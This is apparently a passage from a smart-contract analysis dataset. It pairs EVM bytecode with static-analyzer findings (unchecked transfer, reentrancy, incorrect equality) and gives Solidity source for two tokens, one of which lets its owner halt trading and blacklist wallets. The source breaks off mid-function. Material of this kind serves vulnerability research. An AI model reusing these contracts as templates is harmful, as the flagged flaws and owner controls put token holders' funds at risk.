48b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000818361150a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181815283516024840152835190928392604490910191908501908083836000831561145e578181015183820152602001611446565b50600083858161151657fe5b0495945050505050565b6060611582826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166115f89092919063ffffffff16565b80519091501561107f578080602001905160208110156115a157600080fd5b505161107f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611803602a913960400191505060405180910390fd5b6060611607848460008561160f565b949350505050565b606061161a856117db565b61168557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b602083106116ef57805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016116b2565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611751576040519150601f19603f3d011682016040523d82523d6000602084013e611756565b606091505b5091509150811561176a5791506116079050565b80511561177a5780518082602001fd5b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181815286516024840152865187939192839260440191908501908083836000831561145e578181015183820152602001611446565b3b15159056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c4544a26469706673582212209835a97edd45b3d7d1129550bebf044e167958f7ab0734d7b8637861e83c905364736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
1,244
0xa1df09f1f3e465d8cd1c8bb004f19a77e41398f3
pragma solidity ^0.4.19; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; function DetailedERC20(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PausableToken is StandardToken, Pausable { modifier whenNotPausedOrOnlyOwner() { require(!paused || msg.sender == owner); _; } /** * @dev Transfer token for a specified address with pause feature for owner. * @dev Only applies when the transfer is allowed by the owner. * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public whenNotPausedOrOnlyOwner returns (bool) { return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another with pause feature for owner. * @dev Only applies when the transfer is allowed by the owner. * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public whenNotPausedOrOnlyOwner returns (bool) { return super.transferFrom(_from, _to, _value); } } contract ClassicToken is DetailedERC20, PausableToken { uint256 public initialTotalSupply; function ClassicToken(string name, string symbol, uint8 decimals, uint tokens) DetailedERC20(name, symbol, decimals) public { pause(); initialTotalSupply = tokens * (uint256(10) ** decimals); totalSupply_ = initialTotalSupply; balances[msg.sender] = initialTotalSupply; Transfer(address(0), msg.sender, initialTotalSupply); } } contract DTToken is ClassicToken { function DTToken() ClassicToken("DTToken", "DTT", 18, 3e6) public {} }
0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018457806318160ddd146101de57806323b872dd14610207578063311028af14610280578063313ce567146102a95780633f4ba83a146102d85780635c975abb146102ed578063661884631461031a57806370a08231146103745780638456cb59146103c15780638da5cb5b146103d657806395d89b411461042b578063a9059cbb146104b9578063d73dd62314610513578063dd62ed3e1461056d578063f2fde38b146105d9575b600080fd5b341561010157600080fd5b610109610612565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014957808201518184015260208101905061012e565b50505050905090810190601f1680156101765780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018f57600080fd5b6101c4600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106b0565b604051808215151515815260200191505060405180910390f35b34156101e957600080fd5b6101f16107a2565b6040518082815260200191505060405180910390f35b341561021257600080fd5b610266600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107ac565b604051808215151515815260200191505060405180910390f35b341561028b57600080fd5b610293610836565b6040518082815260200191505060405180910390f35b34156102b457600080fd5b6102bc61083c565b604051808260ff1660ff16815260200191505060405180910390f35b34156102e357600080fd5b6102eb61084f565b005b34156102f857600080fd5b61030061090f565b604051808215151515815260200191505060405180910390f35b341561032557600080fd5b61035a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610922565b604051808215151515815260200191505060405180910390f35b341561037f57600080fd5b6103ab600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bb3565b6040518082815260200191505060405180910390f35b34156103cc57600080fd5b6103d4610bfc565b005b34156103e157600080fd5b6103e9610cbd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561043657600080fd5b61043e610ce3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561047e578082015181840152602081019050610463565b50505050905090810190601f1680156104ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104c457600080fd5b6104f9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d81565b604051808215151515815260200191505060405180910390f35b341561051e57600080fd5b610553600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e09565b604051808215151515815260200191505060405180910390f35b341561057857600080fd5b6105c3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611005565b6040518082815260200191505060405180910390f35b34156105e457600080fd5b610610600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061108c565b005b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106a85780601f1061067d576101008083540402835291602001916106a8565b820191906000526020600020905b81548152906001019060200180831161068b57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b6000600660149054906101000a900460ff1615806108175750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561082257600080fd5b61082d8484846111e4565b90509392505050565b60075481565b600260009054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108ab57600080fd5b600660149054906101000a900460ff1615156108c657600080fd5b6000600660146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600660149054906101000a900460ff1681565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610a33576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ac7565b610a4683826115a390919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c5857600080fd5b600660149054906101000a900460ff16151515610c7457600080fd5b6001600660146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d795780601f10610d4e57610100808354040283529160200191610d79565b820191906000526020600020905b815481529060010190602001808311610d5c57829003601f168201915b505050505081565b6000600660149054906101000a900460ff161580610dec5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610df757600080fd5b610e0183836115bc565b905092915050565b6000610e9a82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e090919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110e857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561112457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561122157600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561126f57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156112fa57600080fd5b61134c82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115a390919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113e182600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e090919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114b382600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115a390919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008282111515156115b157fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156115f957600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561164757600080fd5b61169982600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115a390919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061172e82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e090919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082840190508381101515156117f457fe5b80915050929150505600a165627a7a72305820430a16d3c2050a775fa9769dd0f9a8208f4b16223ced9e205eccc73c21671c010029
{"success": true, "error": null, "results": {}}
1,245
0x2e7433dd3c37b6d26fdc6c459c3b86b0171c9cb2
/** *Submitted for verification at Etherscan.io on 2022-03-30 */ // File: contracts/ERC20.sol // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ATONE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ATONE"; string private constant _symbol = "ATO"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 20000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x5a4F02bac4ac55857f009f1e29F835af6F42AcC9); address payable private _marketingAddress = payable(0x5a4F02bac4ac55857f009f1e29F835af6F42AcC9); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 300000 * 10**9; uint256 public _maxWalletSize = 300000 * 10**9; uint256 public _swapTokensAtAmount = 20 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = 